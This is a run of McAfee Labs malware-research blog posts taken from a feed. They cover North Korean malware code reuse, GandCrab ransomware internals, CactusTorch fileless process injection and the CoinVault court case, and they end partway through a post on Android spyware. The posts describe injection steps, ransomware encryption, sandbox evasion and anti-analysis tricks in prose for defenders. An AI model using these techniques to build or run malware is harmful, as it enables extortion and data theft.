The DPRK, like any country, wants to be as self-sufficient and independent as possible. However, for products such as oil, food, and foreign currency for trading, the country lacks resources and has to find ways of acquiring them. What can a nation do when legal international economics are denied? To survive, it must gain foreign currency for trading. One of the oldest ways to do this is to join the worlds of gambling (casinos) and drugs. In 2005, the United States wanted to shut down North Korean enterprises involved in illegal operations. They investigated a couple of banks in Asia that seemed to have ties with North Korea and operated as money laundering sites. One bank in particular is controlled by a billionaire gambling mogul who started a casino in Pyongyang and has close ties to Pyongyang. That bank, based in Macau, came back into the picture during an attack on the SWIFT financial system of a bank in Vietnam in 2015. The Macau bank was listed twice in the malware’s code as a recipient of stolen funds:

Figure 1: SWIFT code in malware.

Code reuse

There are many reasons to reuse malware code, which is very common in the world of cybercrime. If we take an average ransomware campaign, for example, once the campaign becomes less successful, actors often change some of basics such as using a different packer to bypass defenses. With targeted campaigns, an adversary must keep its tools undetected for as long as possible. By identifying reused code, we gain valuable insights about the “ancestral relations” to known threat actors or other campaigns. Our research was heavily focused on this type of analysis.

In our years of investigating cyber threats, we have seen the DPRK conduct multiple cyber campaigns. In North Korea, hackers’ skills determine which cyber units they work for. We are aware two major focuses of DPRK campaigns: one to raise money, and one to pursue nationalist aims. The first workforce gathers money for the nation, even if that means committing cybercrime to hack into financial institutions, hijack gambling sessions, or sell pirated and cracked software. Unit 180 is responsible for illegally gaining foreign currency using hacking techniques. The second workforce operates larger campaigns motivated by nationalism, gathering intelligence from other nations, and in some cases disrupting rival states and military targets. Most of these actions are executed by Unit 121.

We focused in our research on the larger-scale nationalism-motivated campaigns, in which we discovered many overlaps in code reuse. We are highly confident that nation-state–sponsored groups were active in these efforts.

Timeline 

We created a timeline of most of the malware samples and noticeable campaigns that we examined. We used primarily open-source blogs and papers to build this timeline and used the malware artifacts as a starting point of our research.

 

Figure 2: Timeline of malware and campaigns.

Analysis and observations

Similarities

During our research, we found many malware family names that are believed to be associated with North Korea’s cyber operations. To better understand this threat actor and the similarities between the campaigns, we have used Intezer’s code similarity detection engine to plot the links between a vast number of these malware families.

The following graph presents a high-level overview of these relations. Each node represents a malware family or a hacking tool (“Brambul,” “Fallchill,” etc.) and each line presents a code similarity between two families. A thicker line correlates to a stronger similarity. In defining similarities, we take into account only unique code connections, and disregard common code or libraries. This definition holds both for this graph and our entire research.

 

Figure 3: Code similarities between North Korean–associated malware families.

We can easily see a significant amount of code similarities between almost every one of the attacks associated with North Korea. Our research included thousands of samples, mostly unclassified or uncategorized. This graph was plotted using a data set of only several hundred samples, so there might be more connections than displayed here. 

Deep technical analysis 

During our research, we came across many code similarities between North Korean binaries that had not been seen before. Some of these attacks and malware have not been linked to one another, at least publicly. We will showcase four examples of reused code that has been seen only in malware attributed to North Korea.

  1. Common SMB module

The first code example appeared in the server message block (SMB) module of WannaCry in 2017, Mydoom in 2009, Joanap, and DeltaAlfa. Further shared code across these families is an AES library from CodeProject. These attacks have been attributed to Lazarus; that means the group has reused code from at least 2009 to 2017.

Figure 4: Code overlap of a Mydoom sample.

In the next screenshots we highlight the exact code block that reflects the SMB module we found in campaigns other than WannaCry and Mydoom.

Figure 5: An SMB module common to several attacks.

A lot has been written about WannaCry. As we analyze the code against our databases, we can draw the following overview:

Figure 6: WannaCry code comparison overview.

For our research we compared the three major variants of WannaCry. An early release, called a beta, from February 2017, one from April, and the infamous one that hit the world in May.

  1. Common file mapping

The second example demonstrates code responsible for mapping a file and using the XOR key 0xDEADBEEF on the first four bytes of the file. This code has appeared in the malware families NavRAT and Gold Dragon, plus a certain DLL from the South Korean gambling hacking campaign. These three RATs are thought to be affiliated with North Korea’s Group 123. NavRAT and the gambling DLL share more code, making them closer variants.

Figure 7: Code overlap in a NavRAT sample.

Figure 8: File-mapping code 

  1. Unique net share

The third example, responsible for launching a cmd.exe with a net share, has been seen in 2009’s Brambul, also known as SierraBravo, as well as KorDllBot in 2011. These malware families are also attributed to the Lazarus group.

Figure 9: Code overlap of a SierraBravo (Brambul) sample.

Figure 10: A code block reused in the malware families Brambul/SierraBravo and KorDllBot.

  1. Operation Dark Hotel

In 2014, Kaspersky reported a more than seven-year campaign against Asian hotels, in which the adversaries used an arsenal of tools to break into the computers of hotel visitors. Zero days and control servers were used, along with the malware family Tapaoux, or DarkHotel, according to the report.

While we examined the DPRK samples, we noticed a hit with the Dark Hotel samples in our collections. By going through the code, we noticed several pieces of code overlap and reuse, for example, with samples from Operation Troy.

Figure 11: Code overlap in a Dark Hotel sample.

Identifying a group

By applying what we learned from our comparisons and code-block identifications, we uncovered possible new links between malware families and the groups using them.

With the different pieces of malware we have analyzed, we can illustrate the code reuse and sharing between the groups known to be affiliated with North Korea.

 

Figure 12: Groups and families linked by code reuse.

The malware attributed to the group Lazarus has code connections that link many of the malware families spotted over the years. Lazarus is a collective name for many DPRK cyber operations, and we clearly see links between malware families used in different campaigns.

The malware (NavRAT, gambling, and Gold Dragon) possibly created by Group 123 are connected to each other but are separate from those used by Lazarus. Although these are different units focusing on different areas, there seems to be a parallel structure in which they collaborate during certain campaigns.

MITRE ATT&CK

From our research of these malware samples, we can identify the following techniques used by the malware families:

When we zoom in on the Discovery category in the MITRE model, for example, we notice that the techniques are typical for first-stage dropper malware. The adversary drops these samples on victims’ machines and collects information on where they landed in the victims’ networks and which user/access rights they gained.

In 2018, we saw examples of campaigns in which attackers used PowerShell to download and execute these droppers. Once information has been sent to a control server, the adversary determines the next steps, which often include installing a remote access tool to enable lateral movement on the network and pursue the goals of the campaign.

Final words

Security vendors and researchers often use different names when speaking about the same malware, group, or attack. This habit makes it challenging to group all the malware and campaigns. By taking a scientific approach, such as looking for code reuse, we can categorize our findings. We believe our research will help the security community organize the current “mess” we face in relation to North Korean malware and campaigns.

We clearly saw a lot of code reuse over the many years of cyber campaigns we examined. This indicates the North Koreans have groups with different skills and tools that execute their focused parts of cyber operations while also working in parallel when large campaigns require a mix of skills and tools.

We found our months of research, data gathering, and analysis very satisfying. By combining our skills, data, and technology, we were able to draw connections and reveal links that we had not seen before. The cybersecurity industry would greatly benefit from more collaboration and sharing of information, and we hope that this effort between McAfee and Intezer will inspire the community to work together more often.

The authors thank Costin Raiu for providing them with samples they did not have in their collections.

Sources

Glenn Simpson, Gordon Fairclough, and Jay Solomon, “U.S. Probes Banks’ North Korea Ties.” Wall Street Journal, last updated September 8, 2005.

Christiaan Beek, “Attacks on SWIFT Banking system benefit from insider knowledge.” https://securingtomorrow.mcafee.com/mcafee-labs/attacks-swift-banking-system-benefit-insider-knowledge/

Atif Mushtaq, “DDOS Madness Continued…” https://www.fireeye.com/blog/threat-research/2009/07/ddos-madness-climax.html

Ryan Sherstobitoff and Jessica Saavedra-Morales, “Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems.” https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/ 

Alex Drozhzhin, “Darkhotel: a spy campaign in luxury Asian hotels.” https://www.kaspersky.com/blog/darkhotel-apt/6613/ 

Warren Mercer, Paul Rascagneres, and Jungsoo An, “NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea.” https://blog.talosintelligence.com/2018/05/navrat.html 

Sergei Shevchenko and Adrian Nish, “Cyber Heist Attribution.https://baesystemsai.blogspot.com/2016/05/cyber-heist-attribution.html

Mydoom code reuse report. https://analyze.intezer.com/#/analyses/113ba80f-1680-43d7-b287-cc62f3740fad

NavRAT code reuse report. https://analyze.intezer.com/#/analyses/4f19fd5a-a898-4fdf-96c9-d3a4aad817cb

SierraBravo code reuse report. https://analyze.intezer.com/#/analyses/8da8104e-56e4-49fd-ba24-82978bc1610c

Dark Hotel code reuse report. https://analyze.intezer.com/#/analyses/c034e0fe-7825-4f6d-b092-7c5ee693aff4

Kang Jang-ho, “A foreign currency earned with a virtual currency … What is the life of a North Korean hacker?” http://m.mtn.co.kr/news/news_view.php?mmn_idx=2018062517065863930#_enliple

Awesome work by the team responsible for the “Operation Blockbuster” report. https://www.operationblockbuster.com/resources/

The post Examining Code Reuse Reveals Undiscovered Links Among North Korea’s Malware Families appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/examining-code-reuse-reveals-undiscovered-links-among-north-koreas-malware-families/feed/ 0
GandCrab Ransomware Puts the Pinch on Victims https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/gandcrab-ransomware-puts-the-pinch-on-victims/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/gandcrab-ransomware-puts-the-pinch-on-victims/#respond Tue, 31 Jul 2018 21:43:15 +0000 https://securingtomorrow.mcafee.com/?p=90583 Update: On August 9 we added our analysis of Versions 4.2.1 and 4.3.  The GandCrab ransomware first appeared in January and has been updated rapidly during its short life. It is the leading ransomware threat. The McAfee Advanced Threat Research team has reverse engineered Versions 4.0 through 4.3 of the malware. The first versions (1.0 […]

The post GandCrab Ransomware Puts the Pinch on Victims appeared first on McAfee Blogs.

]]>
Update: On August 9 we added our analysis of Versions 4.2.1 and 4.3. 

The GandCrab ransomware first appeared in January and has been updated rapidly during its short life. It is the leading ransomware threat. The McAfee Advanced Threat Research team has reverse engineered Versions 4.0 through 4.3 of the malware.

The first versions (1.0 and 1.1) of this malware had a bug that left the keys in memory because the author did not correctly use the flags in a crypto function. One antimalware company released a free decryption tool, posted on NoMoreRansom.org, with help of Romanian police and Europol.

The hack was confirmed by the malware author in a Russian forum:

Figure 1. Confirmation by the author of the hack of GandCrab servers.

The text apologizes to partners for the hack and temporarily shuts down the program. It promises to release an improved version within a few days.

The second version of GandCrab quickly appeared and improved the malware server’s security against future counterattacks. The first versions of the ransomware had a list of file extensions to encrypt, but the second and later versions have replaced this list with an exclusion list. All files except those on the list were encrypted.

Old versions of the malware used RSA and AES to encrypt the files, and communicated with a control server to send the RSA keys locked with an RC4 algorithm.

The GandCrab author has moved quickly to improve the code and has added comments to mock the security community, law agencies, and the NoMoreRansom organization. The malware is not professionally developed and usually has bugs (even in Version 4.3), but the speed of changes is impressive and increases the difficulty of combating it.

Entry vector

GandCrab uses several entry vectors:

  • Remote desktop connections with weak security or bought in underground forums
  • Phishing emails with links or attachments
  • Trojanized legitimate programs containing the malware, or downloading and launching it
  • Exploits kits such as RigEK and others

The goal of GandCrab, as with other ransomware, is to encrypt all or many files on an infected system and insist on payment to unlock them. The developer requires payment in cryptocurrency, primarily DASH, because it complex to track, or Bitcoin.

The malware is usually but not always packed. We have seen variants in .exe format (the primary form) along with DLLs. GandCrab is effectively ransomware as a service; its operators can choose which version they want.

Version 4.0

The most important change in Version 4.0 is in the algorithm used to encrypt files. Earlier versions used RSA and AES; the latest versions use Salsa20. The main reason is for speed. RSA is a powerful but slow algorithm. Salsa20 is quick and the implementation is small.

The ransomware checks the language of the system and will not drop the malicious payload if the infected machine operates in Russian or certain other former Soviet languages:

Figure 2. Checking the language of the infected system.

GandCrab encrypts any file that does not appear on the following file-extension exclusion list:

The ransomware does not encrypt files in these folders:

GandCrab leaves these files unencrypted:

The ransomware generates a pair of RSA keys before encrypting any file. The public key encrypts the Salsa20 key and random initialization vector (IV, or nonce)) generated later for each file.

The encryption procedure generates a random Salsa20 key and a random IV for each file, encrypts the file with them, and encrypts this key and IV with a pair of RSA keys (with the public RSA key created at the beginning). The private key remains encrypted in the registry using another Salsa20 key and IV encrypted with an RSA public key embedded in the malware.

After encryption, the file key and IV are appended to the contents of the file in a new field of 8 bytes, increasing the original file size.

This method makes GandCrab very strong ransomware because without the private key to the embedded public key, it is not possible to decrypt the files. Without the new RSA private key, we cannot decrypt the Salsa20 key and IV that are appended to the file.

Finally, the ransomware deletes all shadow volumes on the infected machine and deletes itself.

Version 4.1

This version retains the Salsa20 algorithm, fixes some bugs, and adds a new function. This function, in a random procedure from a big list of domains, creates a final path and sends the encrypted information gathered from the infected machine. We do not know why the malware does this; the random procedure usually creates paths to remote sites that do not exist.

For example, one sample of this version has the following hardcoded list of encrypted domains. (This is only a small part of this list.)

The ransomware selects one domain from the list and creates a random path with one of these words:

Later it randomly chooses another word to add to the URL it creates:

Afterward it makes a file name, randomly choosing three or four combinations from the following list:

Finally the malware concatenates the filename with a randomly chosen extension:

At this point, the malware sends the encrypted information using POST to the newly generated URL for all domains in the embedded list, repeating the process of generating a path and name for each domain.

Another important change in this version is the attempt to obfuscate the calls to functions such as VirtualAlloc and VirtualFree.

Figure 3. New functions to obfuscate the code.

Version 4.1.2

This version has appeared with some variants. Two security companies revealed a vaccine to prevent infections by previous versions. The vaccine involved making a special file in a folder with a special name before the ransomware infects the system. If this file exists, the ransomware finishes without dropping the payload.

The file gets its name from the serial number of the Windows logic unit hard disk value. The malware makes a simple calculation with this name and creates it in the %appdata% or %program files% folder (based in the OS) with the extension .lock.

Figure 4. Creating the special file.

The GandCrab author reacted quickly, changing the operation to make this value unique and use the Salsa20 algorithm with an embedded key and IV with text referring to these companies. The text and the value calculated were used to make the filename; the extension remained .lock.

One of the security companies responded by making a free tool to make this file available for all users, but within hours the author released another Version 4.1.2 with the text changed. The malware no longer creates any file, instead making a mutex object with this special name. The mutex remains and keeps the .lock extension in the name.


Figure 5. Creating a special mutex instead of a special lock file.

The vaccine does not work with the second Version 4.1.2 and Version 4.2, but it does work with previous versions.

Version 4.2

This version has code to detect virtual machines and stop running the ransomware within them.

It checks the number of remote units, the size of the ransomware name running compared with certain sizes, installs a VectoredExceptionHandler, and checks for VMware virtual machines using the old trick of the virtual port in a little encrypted shellcode:

Figure 6. Detecting VMware.

The malware calculates the free space of the main Windows installation logic unit and finally calculates a value.

If this value is correct for the ransomware, it runs normally. If the value is less than 0x1E, it waits one hour to start the normal process. (It blocks automatic systems that do not have “sleep” prepared.) If the value is greater than 0x1E, the ransomware finishes its execution.

Figure 7. Checking for virtual machines and choosing a path.

Version 4.2.1

This version appeared August 1. The change from the previous version is a text message to the company that made the vaccine along with a link to a source code zero-day exploit that attacks one of this company’s products. The code is a Visual Studio project and can be easily recompiled. This code has folders in Russian after loading the project in Visual Studio.

Version 4.3

This version also appeared August 1. This version has several changes from previous versions.

  • It removes the code to detect virtual machines and a few other odd things in Version 4.2. This code had some failure points; some virtual machines could not be detected.
  • It implemented an exploit against one product of the antivirus company that made the vaccine against Version 4.0 through the first release of Version 4.1.2. This code appears after the malware encrypts files and before it deletes itself.

Figure 8. Running an exploit against a product of the company that made a vaccine.

  • New code in some functions makes static analysis with Interactive Disassembler more complex. This is an easy but effective trick: The ransomware makes a delta call (which puts the address of the delta offset at the top of the stack) and adds 0x11 (the size of the special code, meaning the malware author is using a macro) to the value in the ESP register. ESP now points to an address after the block of the special code and makes a jump in the middle of the opcodes of this block. This technique makes it appear like another instruction, in this case “pop eax,” which extracts the value after adding 0x11 from the top of the stack (ESP register). The code later makes an unconditional jump to this address in EAX. This way the ransomware follows its normal code flow.

Figure 9. New code to make static analysis more difficult.

Conclusion

GandCrab is the leading ransomware threat for any person or enterprise. The author uses many ways to install it—including exploits kits, phishing mails, Trojans, and fake programs. The developer actively updates and improves the code to make analysis more difficult and to detect virtual machines. The code is not professionally written and continues to suffer from bugs, yet the product is well promoted in underground forums and has increased in value.

McAfee detects this threat as Ran-GandCrab4 in Versions 4.0 and later. Previous ones are also detected.

Indicators of compromise

MITRE ATT&CK

This sample uses the following MITRE ATT&CK techniques:

  • File deletion
  • System information discovery
  • Execution through API
  • Execution through WMIC
  • Application process discovery: to detect antimalware and security products as well as normal programs
  • Query registry: to get information about keys that the malware needs make or read
  • Modify registry
  • File and directory discovery: to search for files to encrypt
  • Encrypt files
  • Process discovery: enumerating all processes on the endpoint to kill some special ones
  • Create files
  • Elevation of privileges

Hashes

  • 9a80f1866450f2f10fa69b1eb8747c344d6ef038468014c59cc50497f9e4675d – version 4.0
  • d9466be5c387eb2fbf619a8cd0922b167ea7fa06b63f13cd330ca974cae1d513 – version 4.0
  • 43b57d2b16c44041916f3b0562712d5dca4f8a42bc00f00a023b4a0788d18276 – version 4.0
  • 786e3c693fcdf55466fd6e5446de7cfeb58a4311442e0bc99ce0b0985c77b45d – version 4.0
  • f5e74d939a5b329dddc94b75bd770d11c8f9cc3a640dccd8dff765b6997809f2 – version 4.1
  • 8ecbfe6f52ae98b5c9e406459804c4ba7f110e71716ebf05015a3a99c995baa1 – version 4.1
  • e454123d852e6a40eed1f2552e1a1ad3c00991541d812fbf24b70611bd1ec40a – version 4.1
  • 0aef79fac6331f9eca49e711291ac116e7f6fbaeb5a1f3eb7fea9e2e4ec6a608 – version 4.1
  • 3277c1649972ab5b43ae9e87087b70ea4825956bfdddd1034f7b0680e6d46efa – version 4.1
  • a92af825bd95b6514f22dea08a4eb6d3491cbad45e69a5b9653b0148ee9f9832 – version 4.1
  • ce093ffa19f020a2b73719f653b5e0423df28ef1d59035d55e99154a85c5c668 – version 4.1.2 (first)
  • a1aae5ae7a3722b83dc1c9b0831c973641b246808de4f3670f2fd916cf498d38 – version 4.1.2 (second)
  • 3b0096d6798b1887cffa1288583e93f70e656270119087ceb2f832b69b89260a – version 4.2
  • e8e948e36fed93061062406693d1b2c402dd8e5788506bfbb50dbd86a5540829 – version 4.2

Domain

http://gandcrabmfe6mnef.onion

The post GandCrab Ransomware Puts the Pinch on Victims appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/gandcrab-ransomware-puts-the-pinch-on-victims/feed/ 0
CactusTorch Fileless Threat Abuses .NET to Infect Victims https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cactustorch-fileless-threat-abuses-net-to-infect-victims/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cactustorch-fileless-threat-abuses-net-to-infect-victims/#respond Thu, 26 Jul 2018 13:00:32 +0000 https://securingtomorrow.mcafee.com/?p=90489 McAfee Labs has noticed a significant shift by some actors toward using trusted Windows executables, rather than external malware, to attack systems. One of the most popular techniques is a “fileless” attack. Because these attacks are launched through reputable executables, they are hard to detect. Both consumers and corporate users can fall victim to this […]

The post CactusTorch Fileless Threat Abuses .NET to Infect Victims appeared first on McAfee Blogs.

]]>
McAfee Labs has noticed a significant shift by some actors toward using trusted Windows executables, rather than external malware, to attack systems. One of the most popular techniques is a “fileless” attack. Because these attacks are launched through reputable executables, they are hard to detect. Both consumers and corporate users can fall victim to this threat. In corporate environments, attackers use this vector to move laterally through the network.

One fileless threat, CactusTorch, uses the DotNetToJScript technique, which loads and executes malicious .NET assemblies straight from memory. These assemblies are the smallest unit of deployment of an application, such as a .dll or .exe. As with other fileless attack techniques, DotNetToJScript does not write any part of the malicious .NET assembly on a computer’s hard drive; hence traditional file scanners fail to detect these attacks.

In 2018 we have seen rapid growth in the use of CactusTorch, which can execute custom shellcode on Windows systems. The following chart shows the rise of CactusTorch variants in the wild.

Source: McAfee Labs.

The DotNetToJScript tool kit

Compiling the DotNetToJScript tool gives us the .NET executable DotNetToJScript.exe, which accepts the path of a .NET assembly and outputs a JavaScript file.

 

Figure 1: Using DotNetToJScript.exe to create a malicious JavaScript file.

The DotNetToJScript tool kit is never shipped with malware. The only component created is the output JavaScript file, which is executed on the target system by the script host (wscript.exe). For our analysis, we ran some basic deobfuscation and found CactusTorch, which had been hidden by some online tools:

Figure 2: CactusTorch code.

Before we dive into this code, we need to understand .NET and its COM exposure. When we install the .NET framework on any system, several .NET libraries are exposed via Microsoft’s Component Object Model (COM).

Figure 3: COM exposing the .NET library System.Security.Cryptography.FromBase64Transform.

If we look at the exposed interfaces, we can see IDispatch, which allows the COM object to be accessed from the script host or a browser.

Figure 4: Exposed interfaces in a .NET library.

To execute malicious code using the DotNetToJScript vector, an attack uses the following COM objects:

  • Text.ASCIIEncoding
  • Security.Cryptography.FromBase64Transform
  • IO.MemoryStream
  • Runtime.Serialization.Formatters.Binary.BinaryFormatter
  • Collections.ArrayList

Now, let’s return to the JavaScript code we saw in Figure 2. The function base64ToStream()converts the Base64-encoded serialized object to a stream. Before we can fully understand the logic behind the JavaScript code, we need to examine the functionality of the Base64-encoded serialized object. Thus our next step is to reverse engineer the embedded serialized object and recreate the class definition. Once that was done, the class definition looks like the following code, which is responsible for executing the malicious shellcode. (Special thanks to Casey Smith, @subTee, for important pointers regarding this step).

Figure 5: The class definition of the embedded serialized object.

Now we have the open-source component of CactusTorch, and the JavaScript code in Figure 2 makes sense. We can see how the malicious shellcode is executed on the targeted system. In Figure 2, line 29 the code invokes the flame(x,x) function with two arguments: the executable to launch and the shellcode.

The .NET assembly embedded in the CactusTorch script runs the following steps to execute the malicious shellcode:

  • Launches a new suspended process using CreateProcessA (to host the shellcode)
  • Allocates some memory with VirtualAllocEx() with an EXECUTE_READWRITE privilege
  • Writes the shellcode in the target’s process memory with WriteProcessMemory()
  • Creates a new thread to execute the shellcode using CreateRemoteThread()

Conclusion

Fileless malware takes advantage of the trust factor between security software and genuine, signed Windows applications. Because this type of attack is launched through reputable, trusted executables, these attacks are hard to detect. McAfee Endpoint Security (ENS) and Host Intrusion Prevention System (HIPS) customers are protected from this class of fileless attack through Signature ID 6118.

 

Acknowledgements

The author thanks the following colleagues for their help with this analysis:

  • Abhishek Karnik
  • Deepak Setty
  • Oliver Devane
  • Shruti Suman

References

MITRE ATT&CK techniques

  • Drive-by compromise
  • Scripting using Windows Script Host
  • Decode information
  • Command-line interface
  • Process injection

Hashes

  • 4CF9863C8D60F7A977E9DBE4DB270819
  • 5EEFBB10D0169D586640DA8C42DD54BE
  • 69A2B582ED453A90CC06345886F03833
  • 74172E8B1F9B7F9DB600C57E07368B8F
  • 86C47B9E0F43150FEFF5968CF4882EBB
  • 89F87F60137E9081F40E7D9AD5FA8DEF
  • 8A33BF71E8740BDDE23425BBC6259D8F
  • 8DCCC9539A499D375A069131F3E06610
  • 924B7FB00E930082CE5B96835FDE69A1
  • B60E085150D53FCE271CD481435C6E1E
  • BC7923B43D4C83D077153202D84EA603
  • C1A7315FB68043277EE57BDBD2950503
  • D2095F2C1D8C25AF2C2C7AF7F4DD4908
  • D5A07C27A8BBCCD0234C81D7B1843FD4
  • E0573E624953A403A2335EEC7FFB1D83
  • E1677A25A047097E679676A459C63A42
  • F0BC5DFD755B7765537B6A934CA6DBDC
  • F6526E6B943A6C17A2CC96DD122B211E
  • CDB73CC7D00A2ABB42A76F7DFABA94E1
  • D4EB24F9EB1244A5BEAA19CF69434127

 

The post CactusTorch Fileless Threat Abuses .NET to Infect Victims appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cactustorch-fileless-threat-abuses-net-to-infect-victims/feed/ 0
What Drives a Ransomware Criminal? CoinVault Developers Convicted in Dutch Court https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/what-drives-a-ransomware-criminal-coinvault-developers-convicted-in-dutch-court/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/what-drives-a-ransomware-criminal-coinvault-developers-convicted-in-dutch-court/#respond Fri, 13 Jul 2018 22:52:08 +0000 https://securingtomorrow.mcafee.com/?p=90372 How often do we get a chance to learn what goes on in the minds of cybercriminals? Two members of McAfee’s Advanced Threat Research team recently did, as they attended a court case against two cybercriminal brothers. The brothers, Dennis and Melvin, faced a judge in Rotterdam, in the Netherlands. This case was one of […]

The post What Drives a Ransomware Criminal? CoinVault Developers Convicted in Dutch Court appeared first on McAfee Blogs.

]]>
How often do we get a chance to learn what goes on in the minds of cybercriminals? Two members of McAfee’s Advanced Threat Research team recently did, as they attended a court case against two cybercriminal brothers.

The brothers, Dennis and Melvin, faced a judge in Rotterdam, in the Netherlands. This case was one of the first in the world in which ransomware developers appeared in court and were convicted for creating and spreading ransomware.

They were responsible for creating the ransomware families CoinVault and BitCryptor. CoinVault, the better known of the two, made its appearance in late 2014. The technically skilled programmers had examined the source code of CryptoLocker, the notorious ransomware family that first struck in 2013. The brothers were not very impressed and agreed that they could do a better job. What might have started out as a fun technical challenge turned into a criminal business.

The CoinVault and BitCryptor campaigns were not as widespread as CTB-Locker, CryptoWall, or Locky ransomware campaigns. Nor did they profit as much from it, but this case is nevertheless uncommon. It is rare that the developers of ransomware are caught, let alone confess their crimes. This case gives us an opportunity to understand what drove them down a path to cybercrime.

The challenge

Why would someone write malicious code and infect thousands of people? The judge asked the brothers the same question. Their response was “Because it was a technical challenge.” “But didn’t you realize you were dealing with people?” the judge responded. Both brothers answered that they did not; they were dealing with computers and never met their victims face to face.

The judge and prosecutor did not accept their explanation. CoinVault had a built-in helpdesk function to directly communicate with their victims, thus registering their pleas. The brothers standard reaction was merciless: “Just pay the money; otherwise we won’t decrypt.” According to the prosecutor, they had plenty of opportunities to see the consequences of their actions but choose to ignore them for money.

At the trial they said they were sorry and tearfully regretted what they had done. But were these mere crocodile tears because they got caught? During CoinVault’s lifespan, several versions of the ransomware were released. Every new version was a reaction to blogs written by security researchers and takedowns performed by law enforcement. Instead of realizing that they were making a mistake and stopping, the brothers saw it as a challenge, a digital game of cat and mouse, and constantly improved their malicious code.

Their continuing to improve the ransomware shows a lack of empathy with their victims. Was there no one in their social surroundings who could straighten their moral compasses and talk sense into them?

The payment

A ransomware criminal must decide the amount of ransom to charge. Generally the more targeted a ransomware attack is, the higher the ransom demand will be. CoinVault’s infections were not targeted at one organization; they charged only US$250. The two brothers explained that they chose that price to be low enough for an average person to pay while still making a good profit. The prosecutor remarked ironically that they were “very noble [to keep] their ransom demand affordable.”

The infection

The two brothers did not directly infect their victims with ransomware; they took a multistep approach. Their distribution method was via newsgroup channels. They hooked a small piece of malicious code to known software or license-key generators before posting the software packages on the newsgroups. Once victims installed the package or ran the key generator, they would become part of a botnet through the software the brothers named Comhost, which can record keystrokes, search for credentials, and steal Bitcoin wallets. Comhost can also upload and execute binaries received from the control server they named Sonar. (We believe Sonar is modified a version of the popular Solar botnet software.)

The Sonar botnet panel.

Once they had accumulated enough bots, they simply pushed CoinVault to all their victims and locked thousands of computers at once. This method made it hard for victims to figure out how they were attacked, because weeks could pass between the initial infection and the encryption. By spreading their ransomware via newsgroups with pirated software, they discouraged victims from going to the police out of fear of prosecution and copyright-violation fines.

The CoinVault lock screen.

The arrest

In April 2015, The National High Tech Crime Unit of the Dutch Police seized the control servers for CoinVault. After the police investigated, the two brothers, aged 18 and 22 at the time, were arrested in Amersfoort, Netherlands, on September 14, 2015. Systems were infected not only in the Netherlands, but also in the United States, Germany, France, and the United Kingdom. Their mistakes? Using flawless Dutch in the ransom notes and one time they did not use a Tor connection to log in into their control server, instead using their home connection.

Flawless Dutch in the ransomware code.

Although they used an obfuscator tool (Confuser) for their code, in some of the samples the full name of one of the authors was present, because they did not clean up the debugging path.

Example:

 c:\Users\**********\Desktop\Coinvault\coinvault-cleaned\obj\Debug\coinvault.pdb

From grabbing keys to No More Ransom

During the investigation the Dutch police obtained all the decryption keys for CoinVault and partnered with the private sector to build a decryption tool for CoinVault ransomware, successfully mitigating a large portion of the damage caused by CoinVault. This effort idea gave birth to No More Ransom, an online portal supported by the public and private sector with the largest repository on the planet of free ransomware decryption tools. No More Ransom now has decryptors for 85 ransomware versions. This global initiative has prevented millions of dollars from falling into the hands of cybercriminals. McAfee is proud to be one of the founding members of No More Ransom.

Nomoreransom.org

The next steps

Extorting people with ransomware is wrong, and perpetrators must be held accountable. It is sad to see two talented young people choose a pathway to cybercrime and waste their skills—skills sorely needed in the cybersecurity sector. We hope they will have learned a lesson as they endure the consequences of their actions. The sentencing will take place in about two weeks. Perhaps after they serve their time, they will find someone willing to give them a second chance.

The post What Drives a Ransomware Criminal? CoinVault Developers Convicted in Dutch Court appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/what-drives-a-ransomware-criminal-coinvault-developers-convicted-in-dutch-court/feed/ 0
Google Play Users Risk a Yellow Card With Android/FoulGoal.A https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/google-play-users-risk-a-yellow-card-with-android-foulgoal-a/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/google-play-users-risk-a-yellow-card-with-android-foulgoal-a/#respond Thu, 12 Jul 2018 13:00:42 +0000 https://securingtomorrow.mcafee.com/?p=90299 This blog post was co-written by Irfan Asrar. English soccer fans have enthusiastically enjoyed the team’s current run in the World Cup, as the tune “Three Lions” plays in their heads, while hoping to end 52 years of hurt. Meanwhile a recent spyware campaign distributed on Google Play has hurt fans of the beautiful game […]

The post Google Play Users Risk a Yellow Card With Android/FoulGoal.A appeared first on McAfee Blogs.

]]>
This blog post was co-written by Irfan Asrar.

English soccer fans have enthusiastically enjoyed the team’s current run in the World Cup, as the tune “Three Lions” plays in their heads, while hoping to end 52 years of hurt. Meanwhile a recent spyware campaign distributed on Google Play has hurt fans of the beautiful game for some time. Using major events as social engineering is nothing new, as phishing emails have often taken advantage of disasters and sporting events to lure victims.

“Golden Cup” is the malicious app that installs spyware on victims’ devices. It was distributed via Google Play, and “offered” the opportunity to stream games and search for records from the current and past World Cups. McAfee Mobile Security identifies this threat as Android/FoulGoal.A; Google has removed the malicious applications from Google Play.

Once Golden Cup is installed it appears to be a typical sporting app, with multimedia content and general information about the event. Most of this data comes from a web service without malicious activity. However, in the background and without user consent the app silently transfers information to another server.

Data captured

Golden Cup captures a considerable amount of encrypted data from the victim’s device:

  • Phone number
  • Installed packages
  • Device model, manufacturer, serial number
  • Available internal storage capacity
  • Device ID
  • Android version
  • IMEI, IMSI

This spyware may be just the first stage of a greater infection due to its capability to load dex files from remote sources. The app connects to its control server and tries to download, unzip, and decrypt a second stage.

Android/FoulGoal.A detects when the screen is on or off and records this in its internal file scrn.txt, with the strings “on” or “off” to track when users are looking at their screens:

The Message Queuing Telemetry Transport protocol serves as the communication channel between the device and the malicious server to send and receive commands.

Data encryption

